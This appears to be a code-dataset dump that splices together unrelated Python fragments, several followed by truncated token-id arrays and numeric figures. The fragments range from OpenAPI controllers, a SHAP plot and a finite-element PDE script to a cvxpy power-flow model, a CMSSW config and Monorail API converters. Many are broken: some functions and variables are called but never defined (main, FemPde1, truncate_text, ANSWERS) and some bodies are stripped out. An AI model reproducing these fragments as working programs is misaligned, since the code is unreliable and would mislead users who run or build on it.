#!/usr/bin/env python3 # Copyright 2012-13 Qtrac Ltd. All rights reserved. # This program or module is free software: you can redistribute it # and/or modify it under the terms of the GNU General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. It is provided for # educational purposes and is distributed in the hope that it will be # useful, but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. import argparse import collections import math import multiprocessing import os import sys import Image import Qtrac Result = collections.namedtuple("Result", "copied scaled name") Summary = collections.namedtuple("Summary", "todo copied scaled canceled") if __name__ == "__main__": main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 201, 198, 2, 15069, 220, 2321, 12, 1485, 1195, 2213, 330, 12052, 13, 1439, 2489, 10395, 13, 201, 198, 2, 770, 1430, 393, 8265, 318, 1479, 3788, 25, 345, 460, 17678, 4163, 340, 201, ...
3.385714
280
from abc import ( ABCMeta, ) from concurrent.futures.thread import ( ThreadPoolExecutor, ) from contextlib import ( contextmanager, ) import csv from functools import ( lru_cache, ) import gzip from io import ( BytesIO, TextIOWrapper, ) import json import logging import os import random import re import sys import threading import time from typing import ( AbstractSet, Any, Dict, IO, List, Mapping, Optional, Sequence, Tuple, cast, ) import unittest from unittest import ( mock, ) import uuid from zipfile import ( ZipFile, ) import attr import chalice.cli from furl import ( furl, ) from google.cloud import ( storage, ) from google.oauth2 import ( service_account, ) from hca.dss import ( DSSClient, ) from hca.util import ( SwaggerAPIException, ) from humancellatlas.data.metadata.helpers.dss import ( download_bundle_metadata, ) from more_itertools import ( first, one, ) from openapi_spec_validator import ( validate_spec, ) import requests from azul import ( CatalogName, cached_property, config, drs, ) from azul.azulclient import ( AzulClient, AzulClientNotificationError, ) from azul.drs import ( AccessMethod, ) import azul.dss from azul.es import ( ESClientFactory, ) from azul.indexer import ( BundleFQID, ) from azul.indexer.index_service import ( IndexService, ) from azul.logging import ( configure_test_logging, ) from azul.modules import ( load_app_module, ) from azul.portal_service import ( PortalService, ) from azul.requests import ( requests_session_with_retry_after, ) from azul.types import ( JSON, ) from azul_test_case import ( AlwaysTearDownTestCase, AzulTestCase, ) log = logging.getLogger(__name__) # noinspection PyPep8Naming catalog = first(config.integration_test_catalogs.keys())
[ 6738, 450, 66, 1330, 357, 198, 220, 220, 220, 9738, 48526, 11, 198, 8, 198, 6738, 24580, 13, 69, 315, 942, 13, 16663, 1330, 357, 198, 220, 220, 220, 14122, 27201, 23002, 38409, 11, 198, 8, 198, 6738, 4732, 8019, 1330, 357, 198, 22...
2.525132
756
import connexion import six from openapi_server import query_manager from openapi_server.utils.vars import DATATRANSFORMATION_TYPE_NAME, DATATRANSFORMATION_TYPE_URI from openapi_server.models.data_transformation import DataTransformation # noqa: E501 from openapi_server import util def custom_datasetspecifications_id_datatransformations_get(id, custom_query_name=None, username=None): # noqa: E501 """Gets a list of data transformations related a dataset Gets a list of data transformations related a dataset # noqa: E501 :param id: The ID of the dataspecification :type id: str :param custom_query_name: Name of the custom query :type custom_query_name: str :param username: Username to query :type username: str :rtype: List[DataTransformation] """ return query_manager.get_resource(id=id, custom_query_name=custom_query_name, username=username, rdf_type_uri=DATATRANSFORMATION_TYPE_URI, rdf_type_name=DATATRANSFORMATION_TYPE_NAME, kls=DataTransformation) def datatransformations_get(username=None, label=None, page=None, per_page=None): # noqa: E501 """List all instances of DataTransformation Gets a list of all instances of DataTransformation (more information in https://w3id.org/okn/o/sd#DataTransformation) # noqa: E501 :param username: Name of the user graph to query :type username: str :param label: Filter by label :type label: str :param page: Page number :type page: int :param per_page: Items per page :type per_page: int :rtype: List[DataTransformation] """ return query_manager.get_resource( username=username, label=label, page=page, per_page=per_page, rdf_type_uri=DATATRANSFORMATION_TYPE_URI, rdf_type_name=DATATRANSFORMATION_TYPE_NAME, kls=DataTransformation) def datatransformations_id_delete(id, user=None): # noqa: E501 """Delete an existing DataTransformation Delete an existing DataTransformation (more information in https://w3id.org/okn/o/sd#DataTransformation) # noqa: E501 :param id: The ID of the DataTransformation to be retrieved :type id: str :param user: Username :type user: str :rtype: None """ return query_manager.delete_resource(id=id, user=user, rdf_type_uri=DATATRANSFORMATION_TYPE_URI, rdf_type_name=DATATRANSFORMATION_TYPE_NAME, kls=DataTransformation) def datatransformations_id_get(id, username=None): # noqa: E501 """Get a single DataTransformation by its id Gets the details of a given DataTransformation (more information in https://w3id.org/okn/o/sd#DataTransformation) # noqa: E501 :param id: The ID of the DataTransformation to be retrieved :type id: str :param username: Name of the user graph to query :type username: str :rtype: DataTransformation """ return query_manager.get_resource(id=id, username=username, rdf_type_uri=DATATRANSFORMATION_TYPE_URI, rdf_type_name=DATATRANSFORMATION_TYPE_NAME, kls=DataTransformation) def datatransformations_id_put(id, user=None, data_transformation=None): # noqa: E501 """Update an existing DataTransformation Updates an existing DataTransformation (more information in https://w3id.org/okn/o/sd#DataTransformation) # noqa: E501 :param id: The ID of the DataTransformation to be retrieved :type id: str :param user: Username :type user: str :param data_transformation: An old DataTransformationto be updated :type data_transformation: dict | bytes :rtype: DataTransformation """ if connexion.request.is_json: data_transformation = DataTransformation.from_dict(connexion.request.get_json()) # noqa: E501 return query_manager.put_resource(id=id, user=user, body=data_transformation, rdf_type_uri=DATATRANSFORMATION_TYPE_URI, rdf_type_name=DATATRANSFORMATION_TYPE_NAME, kls=DataTransformation) def datatransformations_post(user=None, data_transformation=None): # noqa: E501 """Create one DataTransformation Create a new instance of DataTransformation (more information in https://w3id.org/okn/o/sd#DataTransformation) # noqa: E501 :param user: Username :type user: str :param data_transformation: Information about the DataTransformationto be created :type data_transformation: dict | bytes :rtype: DataTransformation """ if connexion.request.is_json: data_transformation = DataTransformation.from_dict(connexion.request.get_json()) # noqa: E501 return query_manager.post_resource( user=user, body=data_transformation, rdf_type_uri=DATATRANSFORMATION_TYPE_URI, rdf_type_name=DATATRANSFORMATION_TYPE_NAME, kls=DataTransformation)
[ 11748, 369, 12413, 295, 198, 11748, 2237, 198, 6738, 1280, 15042, 62, 15388, 1330, 12405, 62, 37153, 198, 6738, 1280, 15042, 62, 15388, 13, 26791, 13, 85, 945, 1330, 360, 1404, 1404, 49, 15037, 35036, 62, 25216, 62, 20608, 11, 360, 14...
2.665576
1,833
import numpy as np import scipy import warnings try: import matplotlib.pyplot as pl import matplotlib except ImportError: warnings.warn("matplotlib could not be loaded!") pass from . import labels from . import colors def monitoring_plot(ind, shap_values, features, feature_names=None): """ Create a SHAP monitoring plot. (Note this function is preliminary and subject to change!!) A SHAP monitoring plot is meant to display the behavior of a model over time. Often the shap_values given to this plot explain the loss of a model, so changes in a feature's impact on the model's loss over time can help in monitoring the model's performance. Parameters ---------- ind : int Index of the feature to plot. shap_values : numpy.array Matrix of SHAP values (# samples x # features) features : numpy.array or pandas.DataFrame Matrix of feature values (# samples x # features) feature_names : list Names of the features (length # features) """ if str(type(features)).endswith("'pandas.core.frame.DataFrame'>"): if feature_names is None: feature_names = features.columns features = features.values pl.figure(figsize=(10,3)) ys = shap_values[:,ind] xs = np.arange(len(ys))#np.linspace(0, 12*2, len(ys)) pvals = [] inc = 50 for i in range(inc, len(ys)-inc, inc): #stat, pval = scipy.stats.mannwhitneyu(v[:i], v[i:], alternative="two-sided") stat, pval = scipy.stats.ttest_ind(ys[:i], ys[i:]) pvals.append(pval) min_pval = np.min(pvals) min_pval_ind = np.argmin(pvals)*inc + inc if min_pval < 0.05 / shap_values.shape[1]: pl.axvline(min_pval_ind, linestyle="dashed", color="#666666", alpha=0.2) pl.scatter(xs, ys, s=10, c=features[:,ind], cmap=colors.red_blue) pl.xlabel("Sample index") pl.ylabel(truncate_text(feature_names[ind], 30) + "\nSHAP value", size=13) pl.gca().xaxis.set_ticks_position('bottom') pl.gca().yaxis.set_ticks_position('left') pl.gca().spines['right'].set_visible(False) pl.gca().spines['top'].set_visible(False) cb = pl.colorbar() cb.outline.set_visible(False) bbox = cb.ax.get_window_extent().transformed(pl.gcf().dpi_scale_trans.inverted()) cb.ax.set_aspect((bbox.height - 0.7) * 20) cb.set_label(truncate_text(feature_names[ind], 30), size=13) pl.show()
[ 11748, 299, 32152, 355, 45941, 198, 11748, 629, 541, 88, 198, 11748, 14601, 198, 28311, 25, 198, 220, 220, 220, 1330, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 198, 220, 220, 220, 1330, 2603, 29487, 8019, 198, 16341, 17267, 12331, ...
2.399805
1,028
import re import os import cmd import sys import common from getpass import getpass from kp import KeePassError, get_password from configmanager import ConfigManager, ConfigManagerError common.init()
[ 11748, 302, 198, 11748, 28686, 198, 11748, 23991, 198, 11748, 25064, 198, 11748, 2219, 198, 6738, 651, 6603, 1330, 651, 6603, 198, 6738, 479, 79, 1330, 19799, 14478, 12331, 11, 651, 62, 28712, 220, 198, 6738, 4566, 37153, 1330, 220, 170...
3.830189
53
# -*- coding: utf-8 -*- """ Created on Mon Apr 13 14:57:32 2020 @author: Nicolai """ import sys import os importpath = os.path.dirname(os.path.realpath(__file__)) + "/../" sys.path.append(importpath) from FemPdeBase import FemPdeBase import numpy as np # import from ngsolve import ngsolve as ngs from netgen.geom2d import unit_square import time import psutil import gc if __name__ == "__main__": fempde1 = FemPde1(True) print(fempde1.pde_string) try: fempde1.exact(np.array([0.5,0.5])) except: print(" error message above") try: fempde1.approx(np.array([0.5,0.5])) except: print(" error message above") fempde1.solve() print("-------------------------------------") print("exact(0.5, 0.5) = {}".format(fempde1.exact(np.array([0.5,0.5])))) print("approx(0.5, 0.5) = {}".format(fempde1.approx(np.array([0.5,0.5])))) print("L2 norm to the real solution {}".format(fempde1.normL2())) print("solving took {} sec".format(fempde1.exec_time)) print("solving uses {} Mb".format(fempde1.mem_consumption/1000000)) from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt from matplotlib import cm fig = plt.figure() ax = fig.add_subplot(111, projection='3d') x = y = np.arange(0, 1.01, 0.01) X, Y = np.meshgrid(x, y) zs0 = np.array([fempde1.exact(\ np.array([x,y])) for x,y in zip(np.ravel(X), np.ravel(Y))]) Z = zs0.reshape(X.shape) ax.plot_surface(X, Y, Z, cmap=cm.gnuplot) fig.tight_layout() ax.set_xlabel("X0") ax.set_ylabel("X1") ax.set_zlabel("f(X0, X1)") plt.show() fig.savefig("sol_pde_1.pdf", bbox_inches='tight') fig = plt.figure() ax = fig.add_subplot(111, projection='3d') x = y = np.arange(0, 1.01, 0.01) X, Y = np.meshgrid(x, y) zs0 = np.array([fempde1.approx(\ np.array([x,y])) for x,y in zip(np.ravel(X), np.ravel(Y))]) Z = zs0.reshape(X.shape) ax.plot_surface(X, Y, Z, cmap=cm.gnuplot) ax.set_xlabel("X0") ax.set_ylabel("X1") ax.set_zlabel("f(X0,X1)") plt.show()
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 41972, 319, 2892, 2758, 1511, 1478, 25, 3553, 25, 2624, 12131, 198, 198, 31, 9800, 25, 40513, 1872, 198, 37811, 198, 198, 11748, 25064, 198, 11748, 28686, 19...
1.990909
1,100
import numpy as np from cvxpy import * import copy import time # data for power flow problem import numpy as np n = 12 # total number of nodes m = 18 # number of edges (transmission lines) k = 4 # number of generators # transmission line capacities = TIME = 0 Pmax = np.matrix(""" 4.8005, 1.9246, 3.4274, 2.9439, 4.5652, 4.0484, 2.8259, 1.0740, 4.2856, 2.7788, 3.4617, 4.1677, 4.6873, 3.9528, 1.7051, 2.6228, 4.7419, 4.6676, """) Gmax = np.matrix("3; 2; 4; 7") # maximum generator power c = np.matrix("4; 8; 5; 3") # supply generator costs d = np.matrix(""" 1.6154 2.3405 1.0868 1.5293 2.2197 1.0148 1.2083 1.3041 """)# network power demands # graph incidence matrix A = np.matrix(""" -1 -1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ; 0 0 -1 -1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ; 0 0 0 0 0 0 0 0 0 -1 -1 0 0 0 0 0 0 -1 ; 0 0 0 0 0 0 -1 0 0 0 0 0 0 0 -1 0 -1 0 ; 1 0 0 0 1 -1 0 0 0 0 0 0 0 0 0 0 0 0 ; 0 1 1 0 -1 0 1 -1 0 0 0 0 0 0 0 0 0 0 ; 0 0 0 1 0 0 0 0 -1 1 0 0 0 0 0 0 0 0 ; 0 0 0 0 0 0 0 1 1 0 0 0 -1 0 1 0 0 1 ; 0 0 0 0 0 0 0 0 0 0 1 -1 0 0 0 0 0 0 ; 0 0 0 0 0 0 0 0 0 0 0 1 1 -1 0 0 0 0 ; 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 ; 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 -1 1 0 """) g = Variable(k) p = Variable(m) obj = Minimize(c.T*g) constraints = [A*p == vstack(-g, d.T), abs(p) <= Pmax.T, 0 <= g, g <= Gmax] prob = Problem(obj, constraints) tic = time.time() val = prob.solve() toc = time.time() TIME += toc - tic ANSWERS.append(val) pass #print val pass #print g.value # N - 1 contingency g = Variable(k) flows = [] obj = Minimize(c.T*g) for i in range(m): flows.append(Variable(m)) constraints = [g <= Gmax, 0 <= g] for i in range(m): # N -1 redundancy constraints.append(A*flows[i] == vstack(-g, d.T)) constraints.append( flows[i][i] == 0 ) constraints.append( abs(flows[i]) <= Pmax.T ) prob = Problem(obj, constraints) tic = time.time() val = prob.solve() toc = time.time() TIME += toc - tic ANSWERS.append(val) pass #print val pass #print g.value # the code below is not data for the problem # it is used only to generate the network graph # x-y coordinates # each row is node x-y coordinates XY = np.matrix(""" 1.5 5.2; 4.9 5; 6.9 3.5; 1.9 3.5; 0.2 4.4; 3.2 4.8; 5.9 4.5; 3.9 3.6; 5.9 2.5; 3.9 3; 1.4 2.5; 0 3 """); # node adjacency matrix Ad = -A*A.T Ad = Ad - np.diag(np.diag(Ad)) epsx = 0.05; epsy = 0.15; # text placing offset # plotting import matplotlib.pyplot as plt for i in range(12): #plot edges for j in range(i): if Ad[i,j] == 1: pass #plt.plot((XY[i,0], XY[j,0]), (XY[i,1], XY[j,1]), 'k-') for j in range(k): #plot nodes pass #plt.plot(XY[j,0],XY[j,1],'rs', markersize=12) pass #plt.text(XY[j,0]-epsx,XY[j,1]+epsy,str(j+1)) for j in range(k,n): pass #plt.plot(XY[j,0],XY[j,1],'ko') pass #plt.axis('off') pass #plt.savefig('pwr_net.eps') if __name__ == '__main__': pass #plt.show()
[ 11748, 299, 32152, 355, 45941, 198, 6738, 269, 85, 87, 9078, 1330, 1635, 198, 11748, 4866, 198, 11748, 640, 198, 198, 2, 1366, 329, 1176, 5202, 1917, 198, 11748, 299, 32152, 355, 45941, 198, 77, 796, 1105, 220, 220, 220, 220, 1303, ...
1.868465
1,779
# Binary Search Tree # Given a binary search tree with non-negative values, find the minimum absolute difference between values of any two nodes. # # Example: # # Input: # # 1 # \ # 3 # / # 2 # # Output: # 1 # # Explanation: # The minimum absolute difference is 1, which is the difference between 2 and 1 (or between 2 and 3). # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None
[ 2, 45755, 11140, 12200, 198, 198, 2, 11259, 257, 13934, 2989, 5509, 351, 1729, 12, 31591, 3815, 11, 1064, 262, 5288, 4112, 3580, 1022, 3815, 286, 597, 734, 13760, 13, 198, 2, 198, 2, 17934, 25, 198, 2, 198, 2, 23412, 25, 198, 2, ...
2.623711
194
from company.choices import fr as choices from mighty.errors import BackendError import datetime, logging logger = logging.getLogger(__name__) CHOICES_APE = dict(choices.APE) CHOICES_LEGALFORM = dict(choices.LEGALFORM) CHOICES_SLICE = dict(choices.SLICE_EFFECTIVE)
[ 6738, 1664, 13, 6679, 1063, 1330, 1216, 355, 7747, 198, 6738, 18680, 13, 48277, 1330, 5157, 437, 12331, 198, 11748, 4818, 8079, 11, 18931, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 198, 44899, 3444...
2.944444
90
from sqlalchemy import create_engine, engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker import os SQLALCHEMY_DATABASE_URL = os.getenv("DATABASE_URL").replace("postgres://", "postgresql+psycopg2://") engine = create_engine(SQLALCHEMY_DATABASE_URL) SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine) Base = declarative_base()
[ 6738, 44161, 282, 26599, 1330, 2251, 62, 18392, 11, 3113, 198, 6738, 44161, 282, 26599, 13, 2302, 13, 32446, 283, 876, 1330, 2377, 283, 876, 62, 8692, 198, 6738, 44161, 282, 26599, 13, 579, 1330, 6246, 10297, 198, 11748, 28686, 198, 1...
2.866197
142
import sys import os import boto import boto.s3.connection import json import inspect import pickle import bunch import yaml import ConfigParser import rados from boto.s3.key import Key from nose.plugins.attrib import attr from nose.tools import eq_ as eq from .reqs import _make_admin_request ragweed_env = None suite = None def rtest_decode_json(d): if '__pickle' in d: return pickle.loads(str(d['__pickle'])) return d def read_config(fp): config = bunch.Bunch() g = yaml.safe_load_all(fp) for new in g: print bunch.bunchify(new) config.update(bunch.bunchify(new)) return config str_config_opts = [ 'user_id', 'access_key', 'secret_key', 'host', 'ceph_conf', 'bucket_prefix', ] int_config_opts = [ 'port', ] bool_config_opts = [ 'is_secure', ]
[ 11748, 25064, 198, 11748, 28686, 198, 11748, 275, 2069, 198, 11748, 275, 2069, 13, 82, 18, 13, 38659, 198, 11748, 33918, 198, 11748, 10104, 198, 11748, 2298, 293, 198, 11748, 7684, 198, 11748, 331, 43695, 198, 11748, 17056, 46677, 198, ...
1.979839
496
""" ``exposing`` """ __version__ = '0.2.2'
[ 37811, 198, 15506, 1069, 32927, 15506, 198, 37811, 198, 198, 834, 9641, 834, 796, 705, 15, 13, 17, 13, 17, 6, 198 ]
2
22
from django.contrib import admin from opensteer.teams.models import Team, Member admin.site.register(Team) admin.site.register(Member)
[ 6738, 42625, 14208, 13, 3642, 822, 1330, 13169, 198, 6738, 1280, 4169, 263, 13, 660, 4105, 13, 27530, 1330, 4816, 11, 10239, 198, 198, 28482, 13, 15654, 13, 30238, 7, 15592, 8, 198, 28482, 13, 15654, 13, 30238, 7, 27608, 8, 198 ]
3.238095
42
from src.utils import check_direction, direction_config, is_intersect # pylint:disable=unexpected-keyword-arg
[ 6738, 12351, 13, 26791, 1330, 2198, 62, 37295, 11, 4571, 62, 11250, 11, 318, 62, 3849, 8831, 198, 198, 2, 279, 2645, 600, 25, 40223, 28, 403, 40319, 12, 2539, 4775, 12, 853, 628, 198 ]
3.228571
35
_all__ = ["db_handler","coin_value_handler"]
[ 62, 439, 834, 796, 14631, 9945, 62, 30281, 2430, 3630, 62, 8367, 62, 30281, 8973 ]
2.933333
15
import unittest from caravan.tables import Tables from caravan.parameter_set import ParameterSet if __name__ == '__main__': unittest.main()
[ 11748, 555, 715, 395, 198, 6738, 44321, 13, 83, 2977, 1330, 33220, 198, 6738, 44321, 13, 17143, 2357, 62, 2617, 1330, 25139, 2357, 7248, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 555,...
3.0625
48
import pytest from pydantic import ValidationError from overhave.transport import OverhaveS3ManagerSettings
[ 11748, 12972, 9288, 198, 6738, 279, 5173, 5109, 1330, 3254, 24765, 12331, 198, 198, 6738, 625, 14150, 13, 7645, 634, 1330, 3827, 14150, 50, 18, 13511, 26232, 628 ]
3.928571
28
"""A generic class to build line-oriented command interpreters. Interpreters constructed with this class obey the following conventions: 1. End of file on input is processed as the command 'EOF'. 2. A command is parsed out of each line by collecting the prefix composed of characters in the identchars member. 3. A command `foo' is dispatched to a method 'do_foo()'; the do_ method is passed a single argument consisting of the remainder of the line. 4. Typing an empty line repeats the last command. (Actually, it calls the method `emptyline', which may be overridden in a subclass.) 5. There is a predefined `help' method. Given an argument `topic', it calls the command `help_topic'. With no arguments, it lists all topics with defined help_ functions, broken into up to three topics; documented commands, miscellaneous help topics, and undocumented commands. 6. The command '?' is a synonym for `help'. The command '!' is a synonym for `shell', if a do_shell method exists. 7. If completion is enabled, completing commands will be done automatically, and completing of commands args is done by calling complete_foo() with arguments text, line, begidx, endidx. text is string we are matching against, all returned matches must begin with it. line is the current input line (lstripped), begidx and endidx are the beginning and end indexes of the text being matched, which could be used to provide different completion depending upon which position the argument is in. The `default' method may be overridden to intercept commands for which there is no do_ method. The `completedefault' method may be overridden to intercept completions for commands that have no complete_ method. The data member `self.ruler' sets the character used to draw separator lines in the help messages. If empty, no ruler line is drawn. It defaults to "=". If the value of `self.intro' is nonempty when the cmdloop method is called, it is printed out on interpreter startup. This value may be overridden via an optional argument to the cmdloop() method. The data members `self.doc_header', `self.misc_header', and `self.undoc_header' set the headers used for the help function's listings of documented functions, miscellaneous topics, and undocumented functions respectively. """ import string, sys __all__ = ["Cmd"] PROMPT = '(Cmd) ' IDENTCHARS = string.ascii_letters + string.digits + '_' if __name__ == '__main__': mc = MyCmd() mc.cmdloop()
[ 37811, 32, 14276, 1398, 284, 1382, 1627, 12, 17107, 3141, 16795, 1010, 13, 198, 198, 9492, 3866, 1010, 12006, 351, 428, 1398, 22389, 262, 1708, 21396, 25, 198, 198, 16, 13, 5268, 286, 2393, 319, 5128, 318, 13686, 355, 262, 3141, 705, ...
3.71131
672
from django.contrib import admin from .models import Order, receiverInfo
[ 6738, 42625, 14208, 13, 3642, 822, 1330, 13169, 198, 198, 6738, 764, 27530, 1330, 8284, 11, 9733, 12360, 628 ]
3.947368
19
from node import Node
[ 6738, 10139, 1330, 19081, 628, 198 ]
4
6
import FWCore.ParameterSet.Config as cms process = cms.Process("LIKELIHOODPDFDBREADER") # process.load("MuonAnalysis.MomentumScaleCalibration.local_CSA08_Y_cff") process.source = cms.Source("EmptySource", numberEventsInRun = cms.untracked.uint32(1), firstRun = cms.untracked.uint32(1) ) process.load("Configuration.StandardSequences.MagneticField_cff") process.load("Geometry.CMSCommonData.cmsIdealGeometryXML_cfi") process.load("Geometry.CommonTopologies.globalTrackingGeometry_cfi") process.load("RecoMuon.DetLayers.muonDetLayerGeometry_cfi") process.load("Geometry.MuonNumbering.muonNumberingInitialization_cfi") process.load("RecoMuon.TrackingTools.MuonServiceProxy_cff") # process.source = cms.Source("PoolSource", # fileNames = cms.untracked.vstring() # ) process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1) ) process.poolDBESSource = cms.ESSource("PoolDBESSource", BlobStreamerName = cms.untracked.string('TBufferBlobStreamingService'), DBParameters = cms.PSet( messageLevel = cms.untracked.int32(2), authenticationPath = cms.untracked.string('/afs/cern.ch/cms/DB/conddb') ), timetype = cms.untracked.string('runnumber'), connect = cms.string('sqlite_file:dummy2.db'), toGet = cms.VPSet(cms.PSet( record = cms.string('MuScleFitLikelihoodPdfRcd'), tag = cms.string('MuScleFitLikelihoodPdf_2_1_12') )) ) process.LikelihoodPdfDBReaderModule = cms.EDAnalyzer( "LikelihoodPdfDBReader" ) process.p1 = cms.Path(process.LikelihoodPdfDBReaderModule)
[ 11748, 48849, 14055, 13, 36301, 7248, 13, 16934, 355, 269, 907, 198, 198, 14681, 796, 269, 907, 13, 18709, 7203, 43, 18694, 3698, 40, 39, 22808, 20456, 11012, 15675, 1137, 4943, 198, 2, 1429, 13, 2220, 7203, 33239, 261, 32750, 13, 292...
2.482484
628
from transformers import AutoModel, AutoModelForSequenceClassification, AutoTokenizer, AutoConfig from sklearn.model_selection import StratifiedKFold import numpy as np import torch from fast_fine_tuna.dataset import MainDatasetDouble, MainDataset from transformers import AdamW from torch.utils.data import DataLoader import os from tqdm import tqdm from fast_fine_tuna.models import MiniModel from torch import nn
[ 6738, 6121, 364, 1330, 11160, 17633, 11, 11160, 17633, 1890, 44015, 594, 9487, 2649, 11, 11160, 30642, 7509, 11, 11160, 16934, 198, 6738, 1341, 35720, 13, 19849, 62, 49283, 1330, 29186, 1431, 42, 37, 727, 198, 11748, 299, 32152, 355, 45...
3.594828
116
# Message class Implementation # @author: Gaurav Yeole <gauravyeole@gmail.com>
[ 2, 16000, 1398, 46333, 198, 2, 2488, 9800, 25, 402, 2899, 615, 11609, 2305, 1279, 70, 2899, 2830, 68, 2305, 31, 14816, 13, 785, 29 ]
3.12
25
#!/usr/bin/python from mod_pywebsocket import msgutil import time
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 198, 6738, 953, 62, 9078, 732, 1443, 5459, 1330, 31456, 22602, 198, 11748, 640, 198 ]
2.913043
23
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from typing import TYPE_CHECKING, List, Optional, Sequence from airflow.exceptions import AirflowException from airflow.models import BaseOperator from airflow.providers.microsoft.psrp.hooks.psrp import PSRPHook if TYPE_CHECKING: from airflow.utils.context import Context
[ 2, 198, 2, 49962, 284, 262, 24843, 10442, 5693, 357, 1921, 37, 8, 739, 530, 198, 2, 393, 517, 18920, 5964, 11704, 13, 220, 4091, 262, 28536, 2393, 198, 2, 9387, 351, 428, 670, 329, 3224, 1321, 198, 2, 5115, 6634, 9238, 13, 220, ...
3.908425
273
# Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is govered by a BSD-style # license that can be found in the LICENSE file or at # https://developers.google.com/open-source/licenses/bsd """Convert Monorail PB objects to API PB objects""" import datetime import logging import time from framework import framework_constants from framework import framework_helpers from framework import permissions from framework import timestr from proto import api_pb2_v1 from proto import project_pb2 from proto import tracker_pb2 from services import issue_svc from services import project_svc from services import user_svc from tracker import tracker_bizobj from tracker import tracker_helpers def convert_project(project, config, role): """Convert Monorail Project PB to API ProjectWrapper PB.""" return api_pb2_v1.ProjectWrapper( kind='monorail#project', name=project.project_name, externalId=project.project_name, htmlLink='/p/%s/' % project.project_name, summary=project.summary, description=project.description, role=role, issuesConfig=convert_project_config(config)) def convert_project_config(config): """Convert Monorail ProjectIssueConfig PB to API ProjectIssueConfig PB.""" return api_pb2_v1.ProjectIssueConfig( kind='monorail#projectIssueConfig', restrictToKnown=config.restrict_to_known, defaultColumns=config.default_col_spec.split(), defaultSorting=config.default_sort_spec.split(), statuses=[convert_status(s) for s in config.well_known_statuses], labels=[convert_label(l) for l in config.well_known_labels], prompts=[convert_template(t) for t in config.templates], defaultPromptForMembers=config.default_template_for_developers, defaultPromptForNonMembers=config.default_template_for_users) def convert_status(status): """Convert Monorail StatusDef PB to API Status PB.""" return api_pb2_v1.Status( status=status.status, meansOpen=status.means_open, description=status.status_docstring) def convert_label(label): """Convert Monorail LabelDef PB to API Label PB.""" return api_pb2_v1.Label( label=label.label, description=label.label_docstring) def convert_template(template): """Convert Monorail TemplateDef PB to API Prompt PB.""" return api_pb2_v1.Prompt( name=template.name, title=template.summary, description=template.content, titleMustBeEdited=template.summary_must_be_edited, status=template.status, labels=template.labels, membersOnly=template.members_only, defaultToMember=template.owner_defaults_to_member, componentRequired=template.component_required) def convert_person(user_id, cnxn, services, trap_exception=False): """Convert user id to API AtomPerson PB.""" if not user_id: return None try: user = services.user.GetUser(cnxn, user_id) except user_svc.NoSuchUserException as ex: if trap_exception: logging.warning(str(ex)) return None else: raise ex days_ago = None if user.last_visit_timestamp: secs_ago = int(time.time()) - user.last_visit_timestamp days_ago = secs_ago / framework_constants.SECS_PER_DAY return api_pb2_v1.AtomPerson( kind='monorail#issuePerson', name=user.email, htmlLink='https://%s/u/%d' % (framework_helpers.GetHostPort(), user_id), last_visit_days_ago=days_ago, email_bouncing=bool(user.email_bounce_timestamp), vacation_message=user.vacation_message) def convert_issue_ids(issue_ids, mar, services): """Convert global issue ids to API IssueRef PB.""" # missed issue ids are filtered out. issues = services.issue.GetIssues(mar.cnxn, issue_ids) result = [] for issue in issues: issue_ref = api_pb2_v1.IssueRef( issueId=issue.local_id, projectId=issue.project_name, kind='monorail#issueRef') result.append(issue_ref) return result def convert_issueref_pbs(issueref_pbs, mar, services): """Convert API IssueRef PBs to global issue ids.""" if issueref_pbs: result = [] for ir in issueref_pbs: project_id = mar.project_id if ir.projectId: project = services.project.GetProjectByName( mar.cnxn, ir.projectId) if project: project_id = project.project_id try: issue = services.issue.GetIssueByLocalID( mar.cnxn, project_id, ir.issueId) result.append(issue.issue_id) except issue_svc.NoSuchIssueException: logging.warning( 'Issue (%s:%d) does not exist.' % (ir.projectId, ir.issueId)) return result else: return None def convert_issue(cls, issue, mar, services): """Convert Monorail Issue PB to API IssuesGetInsertResponse.""" config = services.config.GetProjectConfig(mar.cnxn, issue.project_id) granted_perms = tracker_bizobj.GetGrantedPerms( issue, mar.auth.effective_ids, config) issue_project = services.project.GetProject(mar.cnxn, issue.project_id) component_list = [] for cd in config.component_defs: cid = cd.component_id if cid in issue.component_ids: component_list.append(cd.path) cc_list = [convert_person(p, mar.cnxn, services) for p in issue.cc_ids] cc_list = [p for p in cc_list if p is not None] field_values_list = [] field_id_dict = { fd.field_id: fd.field_name for fd in config.field_defs} for fv in issue.field_values: field_name = field_id_dict.get(fv.field_id) if not field_name: logging.warning('Custom field %d of project %s does not exist', fv.field_id, issue_project.project_name) continue val = None if fv.user_id: val = _get_user_email( services.user, mar.cnxn, fv.user_id) elif fv.str_value: val = fv.str_value elif fv.int_value: val = str(fv.int_value) new_fv = api_pb2_v1.FieldValue( fieldName=field_name, fieldValue=val, derived=fv.derived) 